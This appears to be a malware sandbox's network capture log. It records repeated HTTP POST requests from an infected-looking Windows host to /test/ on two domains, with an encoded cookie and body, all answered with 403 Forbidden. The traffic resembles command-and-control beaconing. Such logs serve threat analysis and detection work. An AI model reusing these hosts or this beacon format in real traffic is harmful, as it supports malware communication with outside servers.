Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:50 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:50 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:51 UTC	756	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wcpvqb%2B9Ciq85jJZe3uw%2F1n0c8Ow0Wlk6izM0ey5IDLfNm%2BtN0Mxcd1DwjWu3kDkG2v%2BW0tlHqgbQJ4koeWCoY%2FKO3aNrXRr%2Fg8lBlGCUVb90qC2HY9euM6W%2B0W5aFB4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073b14fd86879-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=135700&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21335&cwnd=32&unsent_bytes=0&cid=25dfbc323f69631a&ts=785&x=0"
2024-11-13 17:23:51 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	50087	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:52 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:52 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:52 UTC	744	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fVmTE6zhwtZ7xpN7DSa5mKLD4zOVhUdVy1Pggz3lXJQv9ScAn6TtSF9PgD5l82zP8udsHBCXy2xs%2BtDMcLc4Rq0GJ79UI7euTUuITHdbrKNmVZFR6QfRFkktoAWz3Jwz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073bc6b1ad78b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=135673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=20600&cwnd=32&unsent_bytes=0&cid=e24d933cc66df834&ts=506&x=0"
2024-11-13 17:23:52 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:52 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	50088	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:53 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:53 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:54 UTC	750	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5%2BvFuXqEt%2FXb6WqxKfA8h%2FFhirw84zY0xUgHMXVA04aPRbKDYZHi0GyLOJdog2z1nqO6YEG05T8EIlXDjw4t6OL3rP1BCfG%2BMIDk9qS4zJD9X4tBkQQLUodINOTa9jTj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073c52d517368-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=135254&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=18139&cwnd=32&unsent_bytes=0&cid=94a472d9aea34c11&ts=564&x=0"
2024-11-13 17:23:54 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	50089	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:54 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:54 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:55 UTC	753	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JMYgdLoiX0qP5bYgaVFC91CmiaK0KH6n%2BOFTwmvgV6tKFNE5nxIUbUvMV0b%2Ffiq6M%2FZcrslMMo6k3ASARwtBHv28TKMr0DBk0eQ%2Boq8OdhdpAQQ2SETT%2BQSYGsyppZlN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073cc8e5e2e25-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1592&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1728955&cwnd=251&unsent_bytes=0&cid=311b3fcb1717a73b&ts=405&x=0"
2024-11-13 17:23:55 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	50090	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:56 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:56 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:56 UTC	748	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=thQ1X9%2Bnk11UoQuKmKffgs6LnSXYQBUJbWNJWUtPF2FaeJ1Q2yt9Ot4Gr1NNjQ%2BWW3qbKUEVcIjLa3tPUIOqS0ButxqkoY2zLJ9yOwmrLiTD5gw48%2B25O2rkrFzkd0Hc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073d4ca7dd78b-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=131116&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=22074&cwnd=32&unsent_bytes=0&cid=0be484981a27ec58&ts=534&x=0"
2024-11-13 17:23:56 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	50091	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:57 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:57 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:57 UTC	759	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nLAydMiW6wq5NX7VyHHxwXVR954BZZN19pr%2Fc73sBI%2Fooac%2Bw2zIH3%2BxnqtVYZwusvyxUn%2BOHt%2B8y%2BeGmPyUSYgMcdHgjhKb4Uwkm2gIIQ%2BFLEXQCIyZ0yhKpxQLJafs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073dc8feb2c92-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1323&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2077474&cwnd=241&unsent_bytes=0&cid=710d166ca75f1c1a&ts=531&x=0"
2024-11-13 17:23:57 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	50092	104.21.15.162	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:23:58 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QiBY1SuUm/CP68lRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: ergiholim.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:23:58 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
2024-11-13 17:23:59 UTC	754	IN	HTTP/1.1 403 Forbidden Date: Wed, 13 Nov 2024 17:23:59 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Ul3wDHWBtDtV4CecVC%2BthOkAynJZ%2BVUwI2yQHNCmaM3M3UNzqPfHo4sPm2GP2px4nQ2zd6BXPvmdCzdL3pqkf%2Bnz%2FtP9o81hFYCYqmxc4ticF%2By3xW3nVsfa%2F6yAdVY7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e2073e5cc2ef661-NRT alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=137741&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=21023&cwnd=32&unsent_bytes=0&cid=754fa116d078c5c9&ts=796&x=0"
2024-11-13 17:23:59 UTC	555	IN	Data Raw: 32 32 34 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 Data Ascii: 224<html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Ch
2024-11-13 17:23:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	50093	104.21.92.105	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:24:00 UTC	415	OUT	POST /test/ HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded Cookie: j5K0WwQy8E33yTF34zGCp9roEsjpoiNAoqVrM6qUFZ36/gzvOdfw9zrDDeBYya4IuV6qNzmNiQqUfYahC2lLVTbqt5XyVp0hwvbK2vnNUAAtGlXVM+D42Mk4NuWCyI1ck1nRJs/qrYn5hAe/Z5FE3vPakI1pZgM9QjdF3ieakfKP7clRUkQ= User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Tob 1.1) Host: rolefenik.com Content-Length: 92 Cache-Control: no-cache
2024-11-13 17:24:00 UTC	92	OUT	Data Raw: 79 70 43 67 56 6b 30 79 34 55 71 68 32 33 39 73 38 57 36 4e 38 73 61 39 55 35 75 30 71 53 46 66 39 66 4a 46 64 70 37 56 51 4e 37 52 70 6c 48 4f 52 64 66 2f 39 7a 62 47 43 34 4a 2b 6e 2f 56 63 34 67 47 78 64 57 7a 2b 33 6b 47 51 53 64 69 65 65 51 6f 6d 5a 78 66 41 6b 4b 73 3d Data Ascii: ypCgVk0y4Uqh239s8W6N8sa9U5u0qSFf9fJFdp7VQN7RplHORdf/9zbGC4J+n/Vc4gGxdWz+3kGQSdieeQomZxfAkKs=
